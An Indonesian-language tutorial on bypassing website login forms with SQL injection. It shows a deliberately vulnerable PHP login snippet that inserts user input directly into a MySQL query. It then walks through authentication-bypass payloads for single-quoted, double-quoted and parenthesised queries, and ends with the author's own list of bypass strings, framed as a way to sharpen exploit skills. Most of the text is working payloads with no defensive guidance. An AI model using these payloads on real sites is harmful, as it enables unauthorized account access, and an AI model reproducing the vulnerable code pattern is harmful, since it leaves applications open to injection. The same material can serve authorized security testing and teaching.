Ini adalah salah satu trik yang sangat lama jadi saya tidak mendapatkan yang baru selain beberapa penjelasan dan ya sedikit pemahaman yang mendalam dengan beberapa cara baru dari bypass.
Catatan sebelum mulai membaca artikel ini, jika kamu belum membaca SQL Inject Form Login, silakan baca itu untuk pemahaman yang lebih baik dan berada di sini selangkah demi selangkah untuk meningkatkan skil exploit kalian.
Pertama mari kita lihat contoh potongan kode yang sebenarnya membuat Halaman Login jadi rentan terhadap serangan ini.
$uname=$_POST['uname']; $passwrd=$_POST['passwrd']; $query="select username,pass from users where username='$uname' and password='$passwrd' limit 0,1"; $result=mysql_query($query); $rows = mysql_fetch_array($result); if($rows) { echo "You have Logged in successfully" ; create_session(); } else { Echo "Better Luck Next time"; }
Apa yang kita lihat di atas adalah kode PHP yang mengambil Input pengguna memasukkannya ke dalam SQL Query dan kemudian memeriksa apakah ada baris yang dikembalikan, itu memungkinkan kita untuk masuk.
Sekarang seperti yang kita lihat, kueri tersebut mengutip input dengan tanda kutip tunggal , itu berarti kita harus menggunakan satu kutipan untuk menutup kutipan pertama dan kemudian menyuntikkan.
Jadi mari Inject dengan query ini ' or ''=' atau ' or 1=1 limit 1 -- -+
Masuk dengan detail berikut:
Username : ' or ''='
Password : ' or ''='
select username,pass from users where username='' or ''='' and password='' or ''='' limit 0,1;
jadi yang sebenarnya saya lakukan adalah membuat kueri menjadi true menggunakan or. Kami bahkan dapat mencoba dan mengomentari kueri menggunakan operator komentar apa pun seperti menggunakan nama pengguna dan kata sandi tidak di isi.
Yang kami lakukan adalah membiarkan bidang kata sandi kosong dan mengomentari sisa kueri. jadi mari kita coba dan periksa bagian Query.
select username,pass from users where username='' or true--' and password='' or ''='' limit 0,1;
Di sini apa pun setelah -- tidak akan dieksekusi yang membuat kueri menjadi:
select username,pass from users where username='' or true;
dan itu akan mengembalikan semua baris. dan kita bisa melewati Login. Ini adalah dasar oke mari kita asumsikan sekarang pertanyaan yang berbeda dan injeksi yang berbeda untuk mereka.
Query :
select username,pass from users where username=('$username') and password=('$passwrd') limit 0,1;
Injection :
') or true-- ') or ('')=(' ') or 1-- ') or ('x')=('
Query :
select username,pass from users where username="$username" and password="$passwrd" limit 0,1;
Injection :
" or true-- " or ""=" " or 1-- " or "x"="
Query :
select username,pass from users where username=("$username") and password=("$passwrd") limit 0,1;
Injection :
") or true-- ") or ("")=(" ") or 1-- ") or ("x")=("
Query :
select username,pass from users where username=(('$username')) and password=(('$passwrd')) limit 0,1;
Injection :
')) or true-- ')) or ((''))=((' ')) or 1-- ')) or (('x'))=(('
Sepertinya itu sudah cukup jelas, sekarang saatnya untuk menyelesaikan. Jadi saya akan memberikan daftar bypass saya sendiri yang saya buat.
'-' ' ' '&' '^' '*' ' or ''-' ' or '' ' ' or ''&' ' or ''^' ' or ''*' "-" " " "&" "^" "*" " or ""-" " or "" " " or ""&" " or ""^" " or ""*" or true-- " or true-- ' or true-- ") or true-- ') or true-- ' or 'x'='x ') or ('x')=('x ')) or (('x'))=(('x " or "x"="x ") or ("x")=("x ")) or (("x"))=(("x
Daftarnya semakin panjang, jadi saya harus menghapus muatan dengan komentar yang berbeda. Anda sekarang dapat membuatnya sendiri, cukup tambahkan jenis Komentar yang berbeda dengan semua muatan ini.